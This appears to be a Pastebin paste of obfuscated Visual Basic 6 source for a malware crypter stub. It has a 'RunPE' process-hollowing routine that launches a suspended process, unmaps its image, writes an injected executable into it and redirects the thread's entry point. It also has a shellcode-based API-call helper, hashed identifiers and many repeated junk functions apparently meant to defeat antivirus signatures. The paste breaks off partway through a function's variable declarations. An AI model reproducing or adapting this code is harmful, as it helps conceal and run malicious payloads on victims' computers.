Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Option Private Module
- Private Const af6d2ecb8794e6b26404291b11e1e48d8966f3222a4f91fc6b96637a397416842 As Long = &H10007
- Private Const a3de54f447905f212fa466a283498910cd228dcf1b8cb529dd06b5c5c12b174eb As Integer = 260
- Private Const a3b26d155f6fed57e2dce724038e975420d1dbfd853747c6926d4d902701a963c As Long = &H4
- Private Const a11255f018715200bc7f244c3a5790e7af78ef0b6e2b54269cbdff6739633ca3b As Long = &H1000
- Private Const a40305a1b67ca69d41c211b25215cc1cb2f9f6c52197aa8b384007794d538a3df As Long = &H2000
- Private Const af9a817cfdc64806909eaaf39478af3e9764ad677aa28f13be8cec790e09fdbd3 As Long = &H40
- Private Declare Function a036232e50575eb3f52cfb0c051d6152ea29433414e7f83330b49c304dc2454ff Lib "kernel32" Alias "CreateProcessA" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As a2dc0c6a080bb32134a6fbf8ef8d6cb9a0a25e177776bcdcebb9fd0369472de9f, lpProcessInformation As aef90506cf73654f674795914987fa72342be99e9f0e71257e60024394b9e2ec2) As Long
- Private Declare Function ac679907fd8a3b62c9b285255189a9787522ebdcad603903c24d81f627a489676 Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
- Private Declare Function aec9212e7c4035122680d10b1464cc5ea11aba5bb53c4328c4b38f0ea859c6e60 Lib "kernel32" Alias "OutputDebugStringA" (ByVal lpOutputString As String) As Long
- Public Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
- Private Declare Function aba69d5522fe7f92fa890920c5dc7170f3a9f7dcdd2b751028bf025ed5e5edcfb Lib "user32" Alias "CallWindowProcA" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
- Private Declare Function a74076a90892026ae6000814c4ea120ed0f3475b42af83f6d05bccd9c0f11968a Lib "kernel32" Alias "GetProcAddress" (ByVal hModule As Long, ByVal lpProcName As String) As Long
- Private Declare Function a32b5e443157ae2edb5481242eef426dbe2ff89a65adfed83fd75baae151f7a5c Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
- Private Type afe0b9eb7fc1881a43410f45888b5be0e81694d009aa83c1758e0229301cdb064
- nLength As Long
- lpSecurityDescriptor As Long
- bInheritHandle As Long
- End Type
- Private Type a2dc0c6a080bb32134a6fbf8ef8d6cb9a0a25e177776bcdcebb9fd0369472de9f
- cb As Long
- lpReserved As Long
- lpDesktop As Long
- lpTitle As Long
- dwX As Long
- dwY As Long
- dwXSize As Long
- dwYSize As Long
- dwXCountChars As Long
- dwYCountChars As Long
- dwFillAttribute As Long
- dwFlags As Long
- wShowWindow As Integer
- cbReserved2 As Integer
- lpReserved2 As Long
- hStdInput As Long
- hStdOutput As Long
- hStdError As Long
- End Type
- Private Type aef90506cf73654f674795914987fa72342be99e9f0e71257e60024394b9e2ec2
- hProcess As Long
- hThread As Long
- dwProcessId As Long
- dwThreadID As Long
- End Type
- Private Type a1d04a7b7124c4ff4aa8888013b00d90017e23baa2bfb639b91be1278e2e3d1b9
- ControlWord As Long
- StatusWord As Long
- TagWord As Long
- ErrorOffset As Long
- ErrorSelector As Long
- DataOffset As Long
- DataSelector As Long
- RegisterArea(1 To 80) As Byte
- Cr0NpxState As Long
- End Type
- Private Type abd014bbc7ecdf339f2c073a6dd3650f7ed3fc43a359fabcdf5f122d2499a73f0
- ContextFlags As Long
- Dr0 As Long
- Dr1 As Long
- Dr2 As Long
- Dr3 As Long
- Dr6 As Long
- Dr7 As Long
- FloatSave As a1d04a7b7124c4ff4aa8888013b00d90017e23baa2bfb639b91be1278e2e3d1b9
- SegGs As Long
- SegFs As Long
- SegEs As Long
- SegDs As Long
- Edi As Long
- Esi As Long
- Ebx As Long
- Edx As Long
- Ecx As Long
- Eax As Long
- Ebp As Long
- Eip As Long
- SegCs As Long
- EFlags As Long
- Esp As Long
- SegSs As Long
- End Type
- Private Type a5f885843e523802bccb4a5de4996a0b430f277ee6a030974e758538a24e47ec3
- e_magic As Integer
- e_cblp As Integer
- e_cp As Integer
- e_crlc As Integer
- e_cparhdr As Integer
- e_minalloc As Integer
- e_maxalloc As Integer
- e_ss As Integer
- e_sp As Integer
- e_csum As Integer
- e_ip As Integer
- e_cs As Integer
- e_lfarlc As Integer
- e_ovno As Integer
- e_res(0 To 3) As Integer
- e_oemid As Integer
- e_oeminfo As Integer
- e_res2(0 To 9) As Integer
- e_lfanew As Long
- End Type
- Private Type a9b096b5399a053982a395c54dc0601a7313df792cefbab4b065871732c958c05
- Machine As Integer
- NumberOfSections As Integer
- TimeDateStamp As Long
- PointerToSymbolTable As Long
- NumberOfSymbols As Long
- SizeOfOptionalHeader As Integer
- characteristics As Integer
- End Type
- Private Type a9ecc41961a74477549528653da6011cd3f4ba3828fd072abf69f659e5e855e0b
- VirtualAddress As Long
- Size As Long
- End Type
- Private Type a6c7f529226b0ecaefdcaec3e4878ad703c9a68af54c83469293bb6346aecfa33
- Magic As Integer
- MajorLinkerVersion As Byte
- MinorLinkerVersion As Byte
- SizeOfCode As Long
- SizeOfInitializedData As Long
- SizeOfUnitializedData As Long
- AddressOfEntryPoint As Long
- BaseOfCode As Long
- BaseOfData As Long
- ImageBase As Long
- SectionAlignment As Long
- FileAlignment As Long
- MajorOperatingSystemVersion As Integer
- MinorOperatingSystemVersion As Integer
- MajorImageVersion As Integer
- MinorImageVersion As Integer
- MajorSubsystemVersion As Integer
- MinorSubsystemVersion As Integer
- W32VersionValue As Long
- SizeOfImage As Long
- SizeOfHeaders As Long
- CheckSum As Long
- SubSystem As Integer
- DllCharacteristics As Integer
- SizeOfStackReserve As Long
- SizeOfStackCommit As Long
- SizeOfHeapReserve As Long
- SizeOfHeapCommit As Long
- LoaderFlags As Long
- NumberOfRvaAndSizes As Long
- DataDirectory(0 To 15) As a9ecc41961a74477549528653da6011cd3f4ba3828fd072abf69f659e5e855e0b
- End Type
- Private Type a66f4327a4e93d73ebfe429e5df76ad4eb902f81a33b0b574fbeba277fc5a03f8
- Signature As Long
- FileHeader As a9b096b5399a053982a395c54dc0601a7313df792cefbab4b065871732c958c05
- OptionalHeader As a6c7f529226b0ecaefdcaec3e4878ad703c9a68af54c83469293bb6346aecfa33
- End Type
- Private Type a64b666f42aab15b6f6957bedae03b02d5d86b28311ebfda606f7b24e4bbe359f
- SecName As String * 8
- VirtualSize As Long
- VirtualAddress As Long
- SizeOfRawData As Long
- PointerToRawData As Long
- PointerToRelocations As Long
- PointerToLinenumbers As Long
- NumberOfRelocations As Integer
- NumberOfLinenumbers As Integer
- characteristics As Long
- End Type
- Private Function CallAPI(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
- Dim lPtr As Long
- Dim bvASM(&HEC00& - 1) As Byte
- Dim i As Long
- Dim lMod As Long
- lMod = a74076a90892026ae6000814c4ea120ed0f3475b42af83f6d05bccd9c0f11968a(a32b5e443157ae2edb5481242eef426dbe2ff89a65adfed83fd75baae151f7a5c(sLib), sMod)
- If lMod = 0 Then Exit Function
- lPtr = VarPtr(bvASM(0))
- RtlMoveMemory ByVal lPtr, &H59595958, &H4: lPtr = lPtr + 4
- RtlMoveMemory ByVal lPtr, &H5059, &H2: lPtr = lPtr + 2
- For i = UBound(Params) To 0 Step -1
- RtlMoveMemory ByVal lPtr, &H68, &H1: lPtr = lPtr + 1
- RtlMoveMemory ByVal lPtr, CLng(Params(i)), &H4: lPtr = lPtr + 4
- Next
- RtlMoveMemory ByVal lPtr, &HE8, &H1: lPtr = lPtr + 1
- RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4: lPtr = lPtr + 4
- RtlMoveMemory ByVal lPtr, &HC3, &H1: lPtr = lPtr + 1
- CallAPI = aba69d5522fe7f92fa890920c5dc7170f3a9f7dcdd2b751028bf025ed5e5edcfb(VarPtr(bvASM(0)), 0, 0, 0, 0)
- End Function
- Sub Injec(ByVal sHost As String, ByRef bvBuff() As Byte, parameter As String)
- Dim i As Long
- Dim Pidh As a5f885843e523802bccb4a5de4996a0b430f277ee6a030974e758538a24e47ec3
- Dim Pinh As a66f4327a4e93d73ebfe429e5df76ad4eb902f81a33b0b574fbeba277fc5a03f8
- Dim Pish As a64b666f42aab15b6f6957bedae03b02d5d86b28311ebfda606f7b24e4bbe359f
- Dim Si As a2dc0c6a080bb32134a6fbf8ef8d6cb9a0a25e177776bcdcebb9fd0369472de9f
- Dim Pi As aef90506cf73654f674795914987fa72342be99e9f0e71257e60024394b9e2ec2
- Dim Ctx As abd014bbc7ecdf339f2c073a6dd3650f7ed3fc43a359fabcdf5f122d2499a73f0
- Si.cb = Len(Si)
- RtlMoveMemory Pidh, bvBuff(0), 64
- RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248
- a036232e50575eb3f52cfb0c051d6152ea29433414e7f83330b49c304dc2454ff sHost, " " & parameter, 0, 0, False, a3b26d155f6fed57e2dce724038e975420d1dbfd853747c6926d4d902701a963c, 0, 0, Si, Pi
- CallAPI "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase
- CallAPI "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, a11255f018715200bc7f244c3a5790e7af78ef0b6e2b54269cbdff6739633ca3b Or a40305a1b67ca69d41c211b25215cc1cb2f9f6c52197aa8b384007794d538a3df, af9a817cfdc64806909eaaf39478af3e9764ad677aa28f13be8cec790e09fdbd3
- ac679907fd8a3b62c9b285255189a9787522ebdcad603903c24d81f627a489676 Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0
- For i = 0 To Pinh.FileHeader.NumberOfSections - 1
- RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
- ac679907fd8a3b62c9b285255189a9787522ebdcad603903c24d81f627a489676 Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0
- Next i
- Ctx.ContextFlags = af6d2ecb8794e6b26404291b11e1e48d8966f3222a4f91fc6b96637a397416842
- CallAPI "kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx)
- ac679907fd8a3b62c9b285255189a9787522ebdcad603903c24d81f627a489676 Pi.hProcess, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0
- Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
- CallAPI "kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx)
- CallAPI "kernel32", "ResumeThread", Pi.hThread
- End Sub
- Public Function a910f99255ac229dda39ebff6bac8a3d5938f9f53c935d7046e39860b6ef3ec18(ByVal sStr As String) As Byte()
- Dim i As Long
- Dim Buffer() As Byte
- ReDim Buffer(Len(sStr) - 1)
- For i = 1 To Len(sStr)
- Buffer(i - 1) = Asc(Mid(sStr, i, 1))
- Next i
- a910f99255ac229dda39ebff6bac8a3d5938f9f53c935d7046e39860b6ef3ec18 = Buffer
- End Function
- Public Function a1fabe7095329621ecbf932cd4ef1230578e9f0314163c0015d6d35fce9470b8d() As String
- Dim lRet As Long
- Dim bvBuff(255) As Byte
- lRet = CallAPI("kernel32", "GetModuleFileNameA", App.hInstance, VarPtr(bvBuff(0)), 256)
- a1fabe7095329621ecbf932cd4ef1230578e9f0314163c0015d6d35fce9470b8d = Left$(StrConv(bvBuff, vbUnicode), lRet)
- End Function
- Private Function ynDxBbq0715j74NRxAXG4L5JL394()
- Dim E6L97ox253Fe445FD552oWfBvLB9291 As Long
- Dim E683263820712v4f0C2In9C9EDu1s2T2aA081 As Long
- Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m31 As Long
- Dim ebBw048776C5Ewv833oNV5112OEnD404pOD1 As Long
- Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz21 As String
- E6L97ox253Fe445FD552oWfBvLB9291 = 4751267842#
- E683263820712v4f0C2In9C9EDu1s2T2aA081 = 471024
- Ta3gFOFJ3C4252t9O848J18W4Dc58m31 = 74412457
- ebBw048776C5Ewv833oNV5112OEnD404pOD1 = E6L97ox253Fe445FD552oWfBvLB9291 * E683263820712v4f0C2In9C9EDu1s2T2aA081 / Ta3gFOFJ3C4252t9O848J18W4Dc58m31
- End Function
- Private Function Wc8CCao136Ar762Ar0hI0x6BP808()
- Dim E6L97ox253Fe445FD552oWfBvLB9292 As Long
- Dim E683263820712v4f0C2In9C9EDu1s2T2aA082 As Long
- Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m32 As Long
- Dim ebBw048776C5Ewv833oNV5112OEnD404pOD2 As Long
- Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz22 As String
- E6L97ox253Fe445FD552oWfBvLB9292 = 4751267842#
- E683263820712v4f0C2In9C9EDu1s2T2aA082 = 471024
- Ta3gFOFJ3C4252t9O848J18W4Dc58m32 = 74412457
- ebBw048776C5Ewv833oNV5112OEnD404pOD2 = E6L97ox253Fe445FD552oWfBvLB9292 * E683263820712v4f0C2In9C9EDu1s2T2aA082 / Ta3gFOFJ3C4252t9O848J18W4Dc58m32
- End Function
- Private Function OV6m4CdA883NCBUQe4yv6p9km725()
- Dim E6L97ox253Fe445FD552oWfBvLB9293 As Long
- Dim E683263820712v4f0C2In9C9EDu1s2T2aA083 As Long
- Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m33 As Long
- Dim ebBw048776C5Ewv833oNV5112OEnD404pOD3 As Long
- Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz23 As String
- E6L97ox253Fe445FD552oWfBvLB9293 = 4751267842#
- E683263820712v4f0C2In9C9EDu1s2T2aA083 = 471024
- Ta3gFOFJ3C4252t9O848J18W4Dc58m33 = 74412457
- ebBw048776C5Ewv833oNV5112OEnD404pOD3 = E6L97ox253Fe445FD552oWfBvLB9293 * E683263820712v4f0C2In9C9EDu1s2T2aA083 / Ta3gFOFJ3C4252t9O848J18W4Dc58m33
- End Function
- Private Function iu4X5mPB544V921tE7Ig3E6Fd147()
- Dim E6L97ox253Fe445FD552oWfBvLB9294 As Long
- Dim E683263820712v4f0C2In9C9EDu1s2T2aA084 As Long
- Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m34 As Long
- Dim ebBw048776C5Ewv833oNV5112OEnD404pOD4 As Long
- Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz24 As String
- E6L97ox253Fe445FD552oWfBvLB9294 = 4751267842#
- E683263820712v4f0C2In9C9EDu1s2T2aA084 = 471024
- Ta3gFOFJ3C4252t9O848J18W4Dc58m34 = 74412457
- ebBw048776C5Ewv833oNV5112OEnD404pOD4 = E6L97ox253Fe445FD552oWfBvLB9294 * E683263820712v4f0C2In9C9EDu1s2T2aA084 / Ta3gFOFJ3C4252t9O848J18W4Dc58m34
- End Function
- Private Function Z3BY6yPC856T5ABZqFef4064N291()
- Dim E6L97ox253Fe445FD552oWfBvLB9295 As Long
- Dim E683263820712v4f0C2In9C9EDu1s2T2aA085 As Long
- Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m35 As Long
- Dim ebBw048776C5Ewv833oNV5112OEnD404pOD5 As Long
- Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz25 As String
- E6L97ox253Fe445FD552oWfBvLB9295 = 4751267842#
- E683263820712v4f0C2In9C9EDu1s2T2aA085 = 471024
- Ta3gFOFJ3C4252t9O848J18W4Dc58m35 = 74412457
- ebBw048776C5Ewv833oNV5112OEnD404pOD5 = E6L97ox253Fe445FD552oWfBvLB9295 * E683263820712v4f0C2In9C9EDu1s2T2aA085 / Ta3gFOFJ3C4252t9O848J18W4Dc58m35
- End Function
- Private Function MQ5xCof2595M89jOr7zD9h1GR733()
- Dim E6L97ox253Fe445FD552oWfBvLB9296 As Long
- Dim E683263820712v4f0C2In9C9EDu1s2T2aA086 As Long
- Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m36 As Long
- Dim ebBw048776C5Ewv833oNV5112OEnD404pOD6 As Long
- Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz26 As String
- E6L97ox253Fe445FD552oWfBvLB9296 = 4751267842#
- E683263820712v4f0C2In9C9EDu1s2T2aA086 = 471024
- Ta3gFOFJ3C4252t9O848J18W4Dc58m36 = 74412457
- ebBw048776C5Ewv833oNV5112OEnD404pOD6 = E6L97ox253Fe445FD552oWfBvLB9296 * E683263820712v4f0C2In9C9EDu1s2T2aA086 / Ta3gFOFJ3C4252t9O848J18W4Dc58m36
- End Function
- Private Function GP5y7CjE14Be10wwu1ZE947Qp320()
- Dim E6L97ox253Fe445FD552oWfBvLB9297 As Long
- Dim E683263820712v4f0C2In9C9EDu1s2T2aA087 As Long
- Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m37 As Long
- Dim ebBw048776C5Ewv833oNV5112OEnD404pOD7 As Long
- Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz27 As String
- E6L97ox253Fe445FD552oWfBvLB9297 = 4751267842#
- E683263820712v4f0C2In9C9EDu1s2T2aA087 = 471024
- Ta3gFOFJ3C4252t9O848J18W4Dc58m37 = 74412457
- ebBw048776C5Ewv833oNV5112OEnD404pOD7 = E6L97ox253Fe445FD552oWfBvLB9297 * E683263820712v4f0C2In9C9EDu1s2T2aA087 / Ta3gFOFJ3C4252t9O848J18W4Dc58m37
- End Function
- Private Function TA4D5ZXB23BM19zMF0pz1hFcD882()
- Dim E6L97ox253Fe445FD552oWfBvLB9298 As Long
- Dim E683263820712v4f0C2In9C9EDu1s2T2aA088 As Long
- Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m38 As Long
- Dim ebBw048776C5Ewv833oNV5112OEnD404pOD8 As Long
- Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz28 As String
- E6L97ox253Fe445FD552oWfBvLB9298 = 4751267842#
- E683263820712v4f0C2In9C9EDu1s2T2aA088 = 471024
- Ta3gFOFJ3C4252t9O848J18W4Dc58m38 = 74412457
- ebBw048776C5Ewv833oNV5112OEnD404pOD8 = E6L97ox253Fe445FD552oWfBvLB9298 * E683263820712v4f0C2In9C9EDu1s2T2aA088 / Ta3gFOFJ3C4252t9O848J18W4Dc58m38
- End Function
- Private Function uuCF6nZ3410XB0oxO9lq9vBkD280()
- Dim E6L97ox253Fe445FD552oWfBvLB9299 As Long
- Dim E683263820712v4f0C2In9C9EDu1s2T2aA089 As Long
- Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m39 As Long
- Dim ebBw048776C5Ewv833oNV5112OEnD404pOD9 As Long
- Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz29 As String
- E6L97ox253Fe445FD552oWfBvLB9299 = 4751267842#
- E683263820712v4f0C2In9C9EDu1s2T2aA089 = 471024
- Ta3gFOFJ3C4252t9O848J18W4Dc58m39 = 74412457
- ebBw048776C5Ewv833oNV5112OEnD404pOD9 = E6L97ox253Fe445FD552oWfBvLB9299 * E683263820712v4f0C2In9C9EDu1s2T2aA089 / Ta3gFOFJ3C4252t9O848J18W4Dc58m39
- End Function
- Private Function IE3M6MZE343CFFymt1sI0028g188()
- Dim E6L97ox253Fe445FD552oWfBvLB92910 As Long
- Dim E683263820712v4f0C2In9C9EDu1s2T2aA0810 As Long
- Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m310 As Long
- Dim ebBw048776C5Ewv833oNV5112OEnD404pOD10 As Long
- Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz210 As String
- E6L97ox253Fe445FD552oWfBvLB92910 = 4751267842#
- E683263820712v4f0C2In9C9EDu1s2T2aA0810 = 471024
- Ta3gFOFJ3C4252t9O848J18W4Dc58m310 = 74412457
- ebBw048776C5Ewv833oNV5112OEnD404pOD10 = E6L97ox253Fe445FD552oWfBvLB92910 * E683263820712v4f0C2In9C9EDu1s2T2aA0810 / Ta3gFOFJ3C4252t9O848J18W4Dc58m310
- End Function
- Private Function MpCcEoC3802D67xfY1gM7Z9EA793()
- Dim E6L97ox253Fe445FD552oWfBvLB92911 As Long
- Dim E683263820712v4f0C2In9C9EDu1s2T2aA0811 As Long
- Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m311 As Long
- Dim ebBw048776C5Ewv833oNV5112OEnD404pOD11 As Long
- Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz211 As String
- E6L97ox253Fe445FD552oWfBvLB92911 = 4751267842#
- E683263820712v4f0C2In9C9EDu1s2T2aA0811 = 471024
- Ta3gFOFJ3C4252t9O848J18W4Dc58m311 = 74412457
- ebBw048776C5Ewv833oNV5112OEnD404pOD11 = E6L97ox253Fe445FD552oWfBvLB92911 * E683263820712v4f0C2In9C9EDu1s2T2aA0811 / Ta3gFOFJ3C4252t9O848J18W4Dc58m311
- End Function
- Private Function KO7A1Nh6348cCCfQi8ZF5H4jt818()
- Dim E6L97ox253Fe445FD552oWfBvLB92912 As Long
- Dim E683263820712v4f0C2In9C9EDu1s2T2aA0812 As Long
- Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m312 As Long
- Dim ebBw048776C5Ewv833oNV5112OEnD404pOD12 As Long
- Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz212 As String
- E6L97ox253Fe445FD552oWfBvLB92912 = 4751267842#
- E683263820712v4f0C2In9C9EDu1s2T2aA0812 = 471024
- Ta3gFOFJ3C4252t9O848J18W4Dc58m312 = 74412457
- ebBw048776C5Ewv833oNV5112OEnD404pOD12 = E6L97ox253Fe445FD552oWfBvLB92912 * E683263820712v4f0C2In9C9EDu1s2T2aA0812 / Ta3gFOFJ3C4252t9O848J18W4Dc58m312
- End Function
- Private Function mnDn5vp2223c846OsCUPCh8pO344()
- Dim E6L97ox253Fe445FD552oWfBvLB92913 As Long
- Dim E683263820712v4f0C2In9C9EDu1s2T2aA0813 As Long
- Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m313 As Long
- Dim ebBw048776C5Ewv833oNV5112OEnD404pOD13 As Long
- Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz213 As String
- E6L97ox253Fe445FD552oWfBvLB92913 = 4751267842#
- E683263820712v4f0C2In9C9EDu1s2T2aA0813 = 471024
- Ta3gFOFJ3C4252t9O848J18W4Dc58m313 = 74412457
- ebBw048776C5Ewv833oNV5112OEnD404pOD13 = E6L97ox253Fe445FD552oWfBvLB92913 * E683263820712v4f0C2In9C9EDu1s2T2aA0813 / Ta3gFOFJ3C4252t9O848J18W4Dc58m313
- End Function
- Private Function BXBiBAj7172W23OaZ2ed2Y9nF334()
- Dim E6L97ox253Fe445FD552oWfBvLB92914 As Long
- Dim E683263820712v4f0C2In9C9EDu1s2T2aA0814 As Long
- Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m314 As Long
- Dim ebBw048776C5Ewv833oNV5112OEnD404pOD14 As Long
- Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz214 As String
- E6L97ox253Fe445FD552oWfBvLB92914 = 4751267842#
- E683263820712v4f0C2In9C9EDu1s2T2aA0814 = 471024
- Ta3gFOFJ3C4252t9O848J18W4Dc58m314 = 74412457
- ebBw048776C5Ewv833oNV5112OEnD404pOD14 = E6L97ox253Fe445FD552oWfBvLB92914 * E683263820712v4f0C2In9C9EDu1s2T2aA0814 / Ta3gFOFJ3C4252t9O848J18W4Dc58m314
- End Function
- Private Function nL0aEzm7522Z8F1CV9ay15Bkj080()
- Dim E6L97ox253Fe445FD552oWfBvLB92915 As Long
- Dim E683263820712v4f0C2In9C9EDu1s2T2aA0815 As Long
- Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m315 As Long
- Dim ebBw048776C5Ewv833oNV5112OEnD404pOD15 As Long
- Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz215 As String
- E6L97ox253Fe445FD552oWfBvLB92915 = 4751267842#
- E683263820712v4f0C2In9C9EDu1s2T2aA0815 = 471024
- Ta3gFOFJ3C4252t9O848J18W4Dc58m315 = 74412457
- ebBw048776C5Ewv833oNV5112OEnD404pOD15 = E6L97ox253Fe445FD552oWfBvLB92915 * E683263820712v4f0C2In9C9EDu1s2T2aA0815 / Ta3gFOFJ3C4252t9O848J18W4Dc58m315
- End Function
- Private Function gBFp5El3615hABITo7GG6mDje564()
- Dim E6L97ox253Fe445FD552oWfBvLB92916 As Long
- Dim E683263820712v4f0C2In9C9EDu1s2T2aA0816 As Long
- Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m316 As Long
- Dim ebBw048776C5Ewv833oNV5112OEnD404pOD16 As Long
- Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz216 As String
- E6L97ox253Fe445FD552oWfBvLB92916 = 4751267842#
- E683263820712v4f0C2In9C9EDu1s2T2aA0816 = 471024
- Ta3gFOFJ3C4252t9O848J18W4Dc58m316 = 74412457
- ebBw048776C5Ewv833oNV5112OEnD404pOD16 = E6L97ox253Fe445FD552oWfBvLB92916 * E683263820712v4f0C2In9C9EDu1s2T2aA0816 / Ta3gFOFJ3C4252t9O848J18W4Dc58m316
- End Function
- Private Function pNED5Uw6435c245PoDRo7C4zo899()
- Dim E6L97ox253Fe445FD552oWfBvLB92917 As Long
- Dim E683263820712v4f0C2In9C9EDu1s2T2aA0817 As Long
- Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m317 As Long
- Dim ebBw048776C5Ewv833oNV5112OEnD404pOD17 As Long
- Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz217 As String
- E6L97ox253Fe445FD552oWfBvLB92917 = 4751267842#
- E683263820712v4f0C2In9C9EDu1s2T2aA0817 = 471024
- Ta3gFOFJ3C4252t9O848J18W4Dc58m317 = 74412457
- ebBw048776C5Ewv833oNV5112OEnD404pOD17 = E6L97ox253Fe445FD552oWfBvLB92917 * E683263820712v4f0C2In9C9EDu1s2T2aA0817 / Ta3gFOFJ3C4252t9O848J18W4Dc58m317
- End Function
- Private Function v2Ab0Oj7215tC8qyj1ke0G8UA653()
- Dim E6L97ox253Fe445FD552oWfBvLB92918 As Long
- Dim E683263820712v4f0C2In9C9EDu1s2T2aA0818 As Long
- Dim Ta3gFOFJ3C4252t9O848J18W4Dc58m318 As Long
- Dim ebBw048776C5Ewv833oNV5112OEnD404pOD18 As Long
- Dim d84453344625ED4F9A8ELnbw3tgz4v8J2EBpEWI4fcz218 As String
- E6L97ox253Fe445FD552oWfBvLB92918 = 4751267842#
- E683263820712v4f0C2In9C9EDu1s2T2aA0818 = 471024
- Ta3gFOFJ3C4252t9O848J18W4Dc58m318 = 74412457
- ebBw048776C5Ewv833oNV5112OEnD404pOD18 = E6L97ox253Fe445FD552oWfBvLB92918 * E683263820712v4f0C2In9C9EDu1s2T2aA0818 / Ta3gFOFJ3C4252t9O848J18W4Dc58m318
- End Function
- Public Function Nd474oMA6NiE2()
- Dim e38v3FtB531rIC1v As String
- Dim G46bmElvn6403UCC48 As Long
- Dim mshsWSPnnAGDl59752rxh As Integer
- Dim hJz95PC1X788OD1m0 As String
- Dim EFphtt20B7391P1EKiFC9603 As Boolean
- Dim pfNFlNdCtiFCVk6tbjEHN98 As String
- Dim Hr31161244mG7huR99oK5U As Long
- Dim W99BEAW9p5ydxBYp71858iTkaCmD As Long
- Dim kDB2A86Wej1cS7Jk2v6804c8FA7n0672 As Integer
- Dim k93417E5XE046m2z0c7HmVXl As Integer
- Dim nUFt6e21099K9N1577h7iD93Fh2I93 As String
- Dim p61786UBq8IJtFGqgEySLdA4 As Boolean
- Dim XBN30842bAgZ2CcEsW1vn4fv5P375o6N As Boolean
- Dim m90u9wH4q6167FsBv8QLF6eH As String
- Dim en1126Ar1CjPR2382bTTL9 As Long
- Dim BO7wB4XxE438clYIN3yyZAtB0m6O48FF0 As Integer
- Dim A5fa3T8DQb7961To1AIsBk84 As String
- Dim bFhjL5e1uh20R30jT4Wj0521 As Long
- Dim B6DAgS1BDH616B3jFWuEhuB1X8850QYIV13 As Boolean
- Dim c5V924823373065241W3IE7LysEO8 As Boolean
- Dim u797n9OQE3I3c5E3OL37sRhEfj As String
- Dim y21691FIcD7XhlC3G88tsTEQ67bMG61TH8o As Boolean
- Dim Z75evIDAEobk1C16FuDNi29582364908644Dcx As Long
- Dim v66f2a1ECkI8tYtY05ljfx85qA2EzcE8 As Boolean
- Dim wr43ABh28hLi26o67J71mayE532889izxW As Long
- Dim If7YRF4uWYMZgzO563036982193BYAWFWs As Integer
- Dim AMDfD965677N314B4MVtO4DeZA8SBAMCy5sC3Z9 As Integer
- Dim en5wL5ljU9yB9QAfTDO899aC2CWFVN6gAnE4578mz As Boolean
- Dim YQ1OCBj844ppFnIAz2u83uE3R5nV8t As String
- Dim gA4B4v34848419795554260121824646sA As Long
- Dim auLLBDloPAF5C9GMRlsshY9ElhZCI60 As Boolean
- Dim ZYB9nEEO5Plu2DEC15C5CXG33E11748qF9PDDZK As Integer
- Dim cm1F2Ra1437458Z6256dXi5fI0VO As Boolean
